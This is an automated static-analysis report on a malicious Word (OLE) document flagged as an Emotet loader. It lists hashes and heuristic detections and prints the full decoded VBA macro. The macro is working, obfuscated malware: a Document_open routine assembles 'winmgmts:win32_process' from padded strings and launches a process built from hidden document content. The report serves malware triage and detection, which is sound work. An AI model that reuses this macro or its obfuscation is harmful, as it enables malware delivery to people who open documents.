Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b3d8536a49fa813…

MALICIOUS

Office (OLE)

174.0 KB Created: 2021-01-22 14:32:00 Authoring application: Microsoft Office Word First seen: 2021-02-20
MD5: dd9d0d35092efb608bd393d14a57182f SHA-1: a618b5e6bfd63b98487163cae66ef190a2693391 SHA-256: 5b3d8536a49fa813663a80b0c9451441055251dd5172bd6fe5ff34f23113c56e
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033991-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033991-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Vu_11x18hez = CreateObject(I_2umqehriqm3z_z)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16816 bytes
SHA-256: 9604f7238d229777467454a284fc513fb3433ac19cd021a8f1f98a0924057a06
Detection
ClamAV: No threats found
Obfuscation or payload: likely
117 of 220 identifiers look randomly generated (e.g. 'Z5337z6kk3mmbparlh'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "O790ux_4h98gt9ttb4"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Fwevp6c2ys9d136g
End Sub

Attribute VB_Name = "Gx6pb50uujxkaers_w"
    

Attribute VB_Name = "P1xtjag2h8cltvjjl"
Function Fwevp6c2ys9d136g()
   GoTo spkfAdqG
Set tCoCNb = scFAAsCO
    Dim EhOHMUHx, wLQlIEF, lYizp As Long
    Dim TojYFHe As Word.Paragraph
    Dim pJtunHGBF() As Byte
    For Each TojYFHe In O790ux_4h98gt9ttb4.Paragraphs
        pJtunHGBF = TojYFHe.Range
        dscc = "sadsaccc" & TojYFHe.Range
        wLQlIEF = UBound(pJtunHGBF) - 1
        EhOHMUHx = 0
Set nDiIBOFA = qTntFGBJ
        Do Until wLQlIEF > wLQlIEF
            If pJtunHGBF(wLQlIEF) = 46 Or wLQlIEF = wLQlIEF Then
                dscc = "sasdsacc" & (EhOHMUHx / 2) + 1 & " to " & (wLQlIEF / 2) + 1 & MidB$(pJtunHGBF, EhOHMUHx + 1, wLQlIEF - EhOHMUHx + 3)
                EhOHMUHx = wLQlIEF + 2
            End If
            wLQlIEF = wLQlIEF + 2
        Loop
    Next
spkfAdqG:
skuwd = A5jzmeydc_f7i3 + O790ux_4h98gt9ttb4 _
. _
Content + Wlip4w_6djz
   GoTo fMLhcFEXE
Set upCWPIgEG = RlWvPB
    Dim RCsOjhF, PTnuI, IqkTCS As Long
    Dim cwxDrg As Word.Paragraph
    Dim AgVPIoGI() As Byte
    For Each cwxDrg In O790ux_4h98gt9ttb4.Paragraphs
        AgVPIoGI = cwxDrg.Range
        dscc = "sadsaccc" & cwxDrg.Range
        PTnuI = UBound(AgVPIoGI) - 1
        RCsOjhF = 0
Set LpmxQH = vfTDSPCIN
        Do Until PTnuI > PTnuI
            If AgVPIoGI(PTnuI) = 46 Or PTnuI = PTnuI Then
                dscc = "sasdsacc" & (RCsOjhF / 2) + 1 & " to " & (PTnuI / 2) + 1 & MidB$(AgVPIoGI, RCsOjhF + 1, PTnuI - RCsOjhF + 3)
                RCsOjhF = PTnuI + 2
            End If
            PTnuI = PTnuI + 2
        Loop
    Next
fMLhcFEXE:
wjnsc = "x [ sh bpx [ sh b"
P576_f3cx78 = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo CnYytIKDy
Set asaDWB = pQbKN
    Dim vIqeYpEI, VQylhDNzH, hJVxIDNAj As Long
    Dim TUBNJIG As Word.Paragraph
    Dim AXTRQu() As Byte
    For Each TUBNJIG In O790ux_4h98gt9ttb4.Paragraphs
        AXTRQu = TUBNJIG.Range
        dscc = "sadsaccc" & TUBNJIG.Range
        VQylhDNzH = UBound(AXTRQu) - 1
        vIqeYpEI = 0
Set vLmUB = clMDDR
        Do Until VQylhDNzH > VQylhDNzH
            If AXTRQu(VQylhDNzH) = 46 Or VQylhDNzH = VQylhDNzH Then
                dscc = "sasdsacc" & (vIqeYpEI / 2) + 1 & " to " & (VQylhDNzH / 2) + 1 & MidB$(AXTRQu, vIqeYpEI + 1, VQylhDNzH - vIqeYpEI + 3)
                vIqeYpEI = VQylhDNzH + 2
            End If
            VQylhDNzH = VQylhDNzH + 2
        Loop
    Next
CnYytIKDy:
W2mp529ia5zhturd = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo owWKI
Set ZfeAGE = ZJphGJjH
    Dim qDemPiE, aeLJrIlO, FyLgPDiGD As Long
    Dim DCSyEYwA As Word.Paragraph
    Dim QESTtv() As Byte
    For Each DCSyEYwA In O790ux_4h98gt9ttb4.Paragraphs
        QESTtv = DCSyEYwA.Range
        dscc = "sadsaccc" & DCSyEYwA.Range
        aeLJrIlO = UBound(QESTtv) - 1
        qDemPiE = 0
Set oaAuh = YCTjIIA
        Do Until aeLJrIlO > aeLJrIlO
            If QESTtv(aeLJrIlO) = 46 Or aeLJrIlO = aeLJrIlO Then
                dscc = "sasdsacc" & (qDemPiE / 2) + 1 & " to " & (aeLJrIlO / 2) + 1 & MidB$(QESTtv, qDemPiE + 1, aeLJrIlO - qDemPiE + 3)
                qDemPiE = aeLJrIlO + 2
            End If
            aeLJrIlO = aeLJrIlO + 2
        Loop
    Next
owWKI:
C56ci08flyafx_jl = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo brnGG
Set EmQTTvBA = NBMBG
    Dim UUQHtB, OHzLIXO, gLFlE As Long
    Dim dafWENFeg As Word.Paragraph
    Dim hurIEQEC() As Byte
    For Each dafWENFeg In O790ux_4h98gt9ttb4.Paragraphs
        hurIEQEC = dafWENFeg.Range
        dscc = "sadsaccc" & dafWENFeg.Range
        OHzLIXO = UBound(hurIEQEC) - 1
        UUQHtB = 0
Set FNOmSBO = gSDswBfI
        Do Until OHzLIXO > OHzLIXO
            If hurIEQEC(OHzLIXO) = 46 Or OHzLIXO = OHzLIXO Then
                dscc = "sasdsacc" & (UUQHtB / 2) + 1 & " to " & (OHzLIXO / 2) + 1 & MidB$(hurIEQEC, UUQHtB + 1, OHzLIXO - UUQHtB + 3)
                UUQHtB = OHzLIXO + 2
            End If
            OHzLIXO = OHzLIXO + 2
        Loop
    Next
brnGG:
Kic6dkkbrg_x11en0 = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo vloGI
Set MciWHHACv = vohxoSdw
    Dim NmgIOHBI, HGrzACk, PDOgGI As Long
    Dim GQmnC As Word.Paragraph
    Dim YHrPAGG() As Byte
    For Each GQmnC In O790ux_4h98gt9ttb4.Paragraphs
        YHrPAGG = GQmnC.Range
        dscc = "sadsaccc" & GQmnC.Range
        HGrzACk = UBound(YHrPAGG) - 1
        NmgIOHBI = 0
Set McwoC = YdYXwG
        Do Until HGrzACk > HGrzACk
            If YHrPAGG(HGrzACk) = 46 Or HGrzACk = HGrzACk Then
                dscc = "sasdsacc" & (NmgIOHBI / 2) + 1 & " to " & (HGrzACk / 2) + 1 & MidB$(YHrPAGG, NmgIOHBI + 1, HGrzACk - NmgIOHBI + 3)
                NmgIOHBI = HGrzACk + 2
            End If
            HGrzACk = HGrzACk + 2
        Loop
    Next
vloGI:
D7vuwlv_ak5wxq = C56ci08flyafx_jl + Kic6dkkbrg_x11en0 + W2mp529ia5zhturd + wjnsc + P576_f3cx78
   GoTo PZtMEIXO
Set lshtAw = alhbeS
    Dim TuxABJAc, ChOjIjG, beCeDD As Long
    Dim nxzdEsCE As Word.Paragraph
    Dim mmqSi() As Byte
    For Each nxzdEsCE In O790ux_4h98gt9ttb4.Paragraphs
        mmqSi = nxzdEsCE.Range
        dscc = "sadsaccc" & nxzdEsCE.Range
        ChOjIjG = UBound(mmqSi) - 1
        TuxABJAc = 0
Set ZVISJJnF = hzymyYJI
        Do Until ChOjIjG > ChOjIjG
            If mmqSi(ChOjIjG) = 46 Or ChOjIjG = ChOjIjG Then
                dscc = "sasdsacc" & (TuxABJAc / 2) + 1 & " to " & (ChOjIjG / 2) + 1 & MidB$(mmqSi, TuxABJAc + 1, ChOjIjG - TuxABJAc + 3)
                TuxABJAc = ChOjIjG + 2
            End If
            ChOjIjG = ChOjIjG + 2
        Loop
    Next
PZtMEIXO:
I_2umqehriqm3z_z = Z5337z6kk3mmbparlh(D7vuwlv_ak5wxq)
   GoTo LbfQBd
Set wNLZCD = iwpFFD
    Dim FfzXBJG, BlvTE, UFREJgXA As Long
    Dim clIAEOX As Word.Paragraph
    Dim LbEZJYGTX() As Byte
    For Each clIAEOX In O790ux_4h98gt9ttb4.Paragraphs
        LbEZJYGTX = clIAEOX.Range
        dscc = "sadsaccc" & clIAEOX.Range
        BlvTE = UBound(LbEZJYGTX) - 1
        FfzXBJG = 0
Set JjLEVD = NFaRtJDA
        Do Until BlvTE > BlvTE
            If LbEZJYGTX(BlvTE) = 46 Or BlvTE = BlvTE Then
                dscc = "sasdsacc" & (FfzXBJG / 2) + 1 & " to " & (BlvTE / 2) + 1 & MidB$(LbEZJYGTX, FfzXBJG + 1, BlvTE - FfzXBJG + 3)
                FfzXBJG = BlvTE + 2
            End If
            BlvTE = BlvTE + 2
        Loop
    Next
LbfQBd:
Set Vu_11x18hez = CreateObject(I_2umqehriqm3z_z)
   GoTo SEjdGHF
Set TVrlB = tvhefH
    Dim SMvkTIJD, dXIUQCC, sSNOEC As Long
    Dim qKJSEG As Word.Paragraph
    Dim zTuuLFS() As Byte
    For Each qKJSEG In O790ux_4h98gt9ttb4.Paragraphs
        zTuuLFS = qKJSEG.Range
        dscc = "sadsaccc" & qKJSEG.Range
        dXIUQCC = UBound(zTuuLFS) - 1
        SMvkTIJD = 0
Set yfdeDBy = dvROBJKJu
        Do Until dXIUQCC > dXIUQCC
            If zTuuLFS(dXIUQCC) = 46 Or dXIUQCC = dXIUQCC Then
                dscc = "sasdsacc" & (SMvkTIJD / 2) + 1 & " to " & (dXIUQCC / 2) + 1 & MidB$(zTuuLFS, SMvkTIJD + 1, dXIUQCC - SMvkTIJD + 3)
                SMvkTIJD = dXIUQCC + 2
            End If
            dXIUQCC = dXIUQCC + 2
        Loop
    Next
SEjdGHF:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = Z5337z6kk3mmbparlh(njcnja)
   GoTo KyuJD
Set LfKktGGxd = EzmrwJECC
    Dim eZpBIDJXH, htJPV, iWuLcCFs As Long
    Dim FCoek As Word.Paragraph
    Dim kkglBSFk() As Byte
    For Each FCoek In O790ux_4h98gt9ttb4.Paragraphs
        kkglBSFk = FCoek.Range
        dscc = "sadsaccc" & FCoek.Range
        htJPV = UBound(kkglBSFk) - 1
        eZpBIDJXH = 0
Set hOSTGGHAD = UySXSF
        Do Until htJPV > htJPV
            If kkglBSFk(htJPV) = 46 Or htJPV = htJPV Then
                dscc = "sasdsacc" & (eZpBIDJXH / 2) + 1 & " to " & (htJPV / 2) + 1 & MidB$(kkglBSFk, eZpBIDJXH + 1, htJPV - eZpBIDJXH + 3)
                eZpBIDJXH = htJPV + 2
            End If
            htJPV = htJPV + 2
        Loop
    Next
KyuJD:
Vu_11x18hez.Create nnjasd, Rl1ti2fji75p, T3vin8nf9s1bh9qa1s
   GoTo UYdQHmx
Set btrlEBAH = VFFCIE
    Dim nvzVaWS, CwEYa, CpGQNF As Long
    Dim OgDLXQ As Word.Paragraph
    Dim tJXzoC() As Byte
    For Each OgDLXQ In O790ux_4h98gt9ttb4.Paragraphs
        tJXzoC = OgDLXQ.Range
        dscc = "sadsaccc" & OgDLXQ.Range
        CwEYa = UBound(tJXzoC) - 1
        nvzVaWS = 0
Set zFlMl = mRvOE
        Do Until CwEYa > CwEYa
            If tJXzoC(CwEYa) = 46 Or CwEYa = CwEYa Then
                dscc = "sasdsacc" & (nvzVaWS / 2) + 1 & " to " & (CwEYa / 2) + 1 & MidB$(tJXzoC, nvzVaWS + 1, CwEYa - nvzVaWS + 3)
                nvzVaWS = CwEYa + 2
            End If
            CwEYa = CwEYa + 2
        Loop
    Next
UYdQHmx:
End Function
Function Z5337z6kk3mmbparlh(G8zi_1gq8d3u9nrqjs)
On Error Resume Next
   GoTo SvUmQDH
Set ODfDFJNI = vBXdTEt
    Dim wRoECJt, LxEwCD, urxfNMAH As Long
    Dim WJXiGT As Word.Paragraph
    Dim wdqBJJJj() As Byte
    For Each WJXiGT In O790ux_4h98gt9ttb4.Paragraphs
        wdqBJJJj = WJXiGT.Range
        dscc = "sadsaccc" & WJXiGT.Range
        LxEwCD = UBound(wdqBJJJj) - 1
        wRoECJt = 0
Set ZlFaIdMI = yIxVDCEi
        Do Until LxEwCD > LxEwCD
            If wdqBJJJj(LxEwCD) = 46 Or LxEwCD = LxEwCD Then
                dscc = "sasdsacc" & (wRoECJt / 2) + 1 & " to " & (LxEwCD / 2) + 1 & MidB$(wdqBJJJj, wRoECJt + 1, LxEwCD - wRoECJt + 3)
                wRoECJt = LxEwCD + 2
            End If
            LxEwCD = LxEwCD + 2
        Loop
    Next
SvUmQDH:
Ww4r863jnpcjmla75 = G8zi_1gq8d3u9nrqjs
   GoTo DjVFFw
Set xYzodEB = qwEmCNQam
    Dim SUrfXH, nKcgZGB, MJlhNOHQk As Long
    Dim fNYiI As Word.Paragraph
    Dim cgUzU() As Byte
    For Each fNYiI In O790ux_4h98gt9ttb4.Paragraphs
        cgUzU = fNYiI.Range
        dscc = "sadsaccc" & fNYiI.Range
        nKcgZGB = UBound(cgUzU) - 1
        SUrfXH = 0
Set hqMErDED = eRLIJ
        Do Until nKcgZGB > nKcgZGB
            If cgUzU(nKcgZGB) = 46 Or nKcgZGB = nKcgZGB Then
                dscc = "sasdsacc" & (SUrfXH / 2) + 1 & " to " & (nKcgZGB / 2) + 1 & MidB$(cgUzU, SUrfXH + 1, nKcgZGB - SUrfXH + 3)
                SUrfXH = nKcgZGB + 2
            End If
            nKcgZGB = nKcgZGB + 2
        Loop
    Next
DjVFFw:
D8cmmpxoixfht8_v = Uzees5l10b3(Ww4r863jnpcjmla75)
   GoTo GWKYBGumn
Set nheiBBBEA = zaXZhAzwG
    Dim XxBOAY, ZIOSACAHE, ltZbICR As Long
    Dim jQrbM As Word.Paragraph
    Dim EfwYE() As Byte
    For Each jQrbM In O790ux_4h98gt9ttb4.Paragraphs
        EfwYE = jQrbM.Range
        dscc = "sadsaccc" & jQrbM.Range
        ZIOSACAHE = UBound(EfwYE) - 1
        XxBOAY = 0
Set fzTSH = fGFKHCZ
        Do Until ZIOSACAHE > ZIOSACAHE
            If EfwYE(ZIOSACAHE) = 46 Or ZIOSACAHE = ZIOSACAHE Then
                dscc = "sasdsacc" & (XxBOAY / 2) + 1 & " to " & (ZIOSACAHE / 2) + 1 & MidB$(EfwYE, XxBOAY + 1, ZIOSACAHE - XxBOAY + 3)
                XxBOAY = ZIOSACAHE + 2
            End If
            ZIOSACAHE = ZIOSACAHE + 2
        Loop
    Next
GWKYBGumn:
Z5337z6kk3mmbparlh = D8cmmpxoixfht8_v
   GoTo CkqfBINH
Set MhkcSAE = wRZUGHHxA
    Dim yNANK, HHFWIrEA, wlDYlHBIA As Long
    Dim ESTJICC As Word.Paragraph
    Dim qSjJrIGA() As Byte
    For Each ESTJICC In O790ux_4h98gt9ttb4.Paragraphs
        qSjJrIGA = ESTJICC.Range
        dscc = "sadsaccc" & ESTJICC.Range
        HHFWIrEA = UBound(qSjJrIGA) - 1
        yNANK = 0
Set UDNeBBim = AGrsEU
        Do Until HHFWIrEA > HHFWIrEA
            If qSjJrIGA(HHFWIrEA) = 46 Or HHFWIrEA = HHFWIrEA Then
                dscc = "sasdsacc" & (yNANK / 2) + 1 & " to " & (HHFWIrEA / 2) + 1 & MidB$(qSjJrIGA, yNANK + 1, HHFWIrEA - yNANK + 3)
                yNANK = HHFWIrEA + 2
            End If
            HHFWIrEA = HHFWIrEA + 2
        Loop
    Next
CkqfBINH:
End Function
Function Uzees5l10b3(Oe63n4ovf_a)
   GoTo tUPbAp
Set mAMVFJPT = XZBAH
    Dim CyIBLkNBa, EcwTHWr, FwocFBG As Long
    Dim XbiIHYH As Word.Paragraph
    Dim LRqeGK() As Byte
    For Each XbiIHYH In O790ux_4h98gt9ttb4.Paragraphs
        LRqeGK = XbiIHYH.Range
        dscc = "sadsaccc" & XbiIHYH.Range
        EcwTHWr = UBound(LRqeGK) - 1
        CyIBLkNBa = 0
Set clXwAJAE = qIxTD
        Do Until EcwTHWr > EcwTHWr
            If LRqeGK(EcwTHWr) = 46 Or EcwTHWr = EcwTHWr Then
                dscc = "sasdsacc" & (CyIBLkNBa / 2) + 1 & " to " & (EcwTHWr / 2) + 1 & MidB$(LRqeGK, CyIBLkNBa + 1, EcwTHWr - CyIBLkNBa + 3)
                CyIBLkNBa = EcwTHWr + 2
            End If
            EcwTHWr = EcwTHWr + 2
        Loop
    Next
tUPbAp:
   GoTo vJNowAHoX
Set AmXVBho = KnthN
    Dim tgmVw, PgpSGHpAA, LetxKEEG As Long
    Dim ipMfvAFN As Word.Paragraph
    Dim FPsSM() As Byte
    For Each ipMfvAFN In O790ux_4h98gt9ttb4.Paragraphs
        FPsSM = ipMfvAFN.Range
        dscc = "sadsaccc" & ipMfvAFN.Range
        PgpSGHpAA = UBound(FPsSM) - 1
        tgmVw = 0
Set iOPMSG = YFRSyODCG
        Do Until PgpSGHpAA > PgpSGHpAA
            If FPsSM(PgpSGHpAA) = 46 Or PgpSGHpAA = PgpSGHpAA Then
                dscc = "sasdsacc" & (tgmVw / 2) + 1 & " to " & (PgpSGHpAA / 2) + 1 & MidB$(FPsSM, tgmVw + 1, PgpSGHpAA - tgmVw + 3)
                tgmVw = PgpSGHpAA + 2
            End If
            PgpSGHpAA = PgpSGHpAA + 2
        Loop
    Next
vJNowAHoX:
   GoTo zlSoEIJOB
Set jqCoJQjA = PjIPYDJ
    Dim giHPX, SLmECG, LCzDn As Long
    Dim MnEtSVvf As Word.Paragraph
    Dim PeSUBNwj() As Byte
    For Each MnEtSVvf In O790ux_4h98gt9ttb4.Paragraphs
        PeSUBNwj = MnEtSVvf.Range
        dscc = "sadsaccc" & MnEtSVvf.Range
        SLmECG = UBound(PeSUBNwj) - 1
        giHPX = 0
Set dEAofING = CQHdIqG
        Do Until SLmECG > SLmECG
            If PeSUBNwj(SLmECG) = 46 Or SLmECG = SLmECG Then
                dscc = "sasdsacc" & (giHPX / 2) + 1 & " to " & (SLmECG / 2) + 1 & MidB$(PeSUBNwj, giHPX + 1, SLmECG - giHPX + 3)
                giHPX = SLmECG + 2
            End If
            SLmECG = SLmECG + 2
        Loop
    Next
zlSoEIJOB:
Uzees5l10b3 = Replace(Oe63n4ovf_a, "x [ sh b", Ta8di8qhldfe_pu)
   GoTo YJcqCCJJ
Set OpwSC = OmDUqJCOe
    Dim ZRGqKePK, iXaOEpJ, WUNbq As Long
    Dim inFRJFB As Word.Paragraph
    Dim pcVwHuIp() As Byte
    For Each inFRJFB In O790ux_4h98gt9ttb4.Paragraphs
        pcVwHuIp = inFRJFB.Range
        dscc = "sadsaccc" & inFRJFB.Range
        iXaOEpJ = UBound(pcVwHuIp) - 1
        ZRGqKePK = 0
Set yvSIyJ = TLVni
        Do Until iXaOEpJ > iXaOEpJ
            If pcVwHuIp(iXaOEpJ) = 46 Or iXaOEpJ = iXaOEpJ Then
                dscc = "sasdsacc" & (ZRGqKePK / 2) + 1 & " to " & (iXaOEpJ / 2) + 1 & MidB$(pcVwHuIp, ZRGqKePK + 1, iXaOEpJ - ZRGqKePK + 3)
                ZRGqKePK = iXaOEpJ + 2
            End If
            iXaOEpJ = iXaOEpJ + 2
        Loop
    Next
YJcqCCJJ:
   GoTo jJXfCGTwI
Set UbHnwCB = QCyEEF
    Dim BGsxCo, zvAqAFFHX, uRmgJpCG As Long
    Dim BYfiGGP As Word.Paragraph
    Dim pRBLbIcyJ() As Byte
    For Each BYfiGGP In O790ux_4h98gt9ttb4.Paragraphs
        pRBLbIcyJ = BYfiGGP.Range
        dscc = "sadsaccc" & BYfiGGP.Range
        zvAqAFFHX = UBound(pRBLbIcyJ) - 1
        BGsxCo = 0
Set kKkMcfE = ZYjfpDAB
        Do Until zvAqAFFHX > zvAqAFFHX
            If pRBLbIcyJ(zvAqAFFHX) = 46 Or zvAqAFFHX = zvAqAFFHX Then
                dscc = "sasdsacc" & (BGsxCo / 2) + 1 & " to " & (zvAqAFFHX / 2) + 1 & MidB$(pRBLbIcyJ, BGsxCo + 1, zvAqAFFHX - BGsxCo + 3)
                BGsxCo = zvAqAFFHX + 2
            End If
            zvAqAFFHX = zvAqAFFHX + 2
        Loop
    Next
jJXfCGTwI:
   GoTo eOUIHCBq
Set iwiJCCJDA = erOaJb
    Dim sLRzG, jHhsXlCJF, zlaSCEGnG As Long
    Dim koefIHcJ As Word.Paragraph
    Dim wkTMMe() As Byte
    For Each koefIHcJ In O790ux_4h98gt9ttb4.Paragraphs
        wkTMMe = koefIHcJ.Range
        dscc = "sadsaccc" & koefIHcJ.Range
        jHhsXlCJF = UBound(wkTMMe) - 1
        sLRzG = 0
Set AthEIJ = HMgGIjHt
        Do Until jHhsXlCJF > jHhsXlCJF
            If wkTMMe(jHhsXlCJF) = 46 Or jHhsXlCJF = jHhsXlCJF Then
                dscc = "sasdsacc" & (sLRzG / 2) + 1 & " to " & (jHhsXlCJF / 2) + 1 & MidB$(wkTMMe, sLRzG + 1, jHhsXlCJF - sLRzG + 3)
                sLRzG = jHhsXlCJF + 2
            End If
            jHhsXlCJF = jHhsXlCJF + 2
        Loop
    Next
eOUIHCBq:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.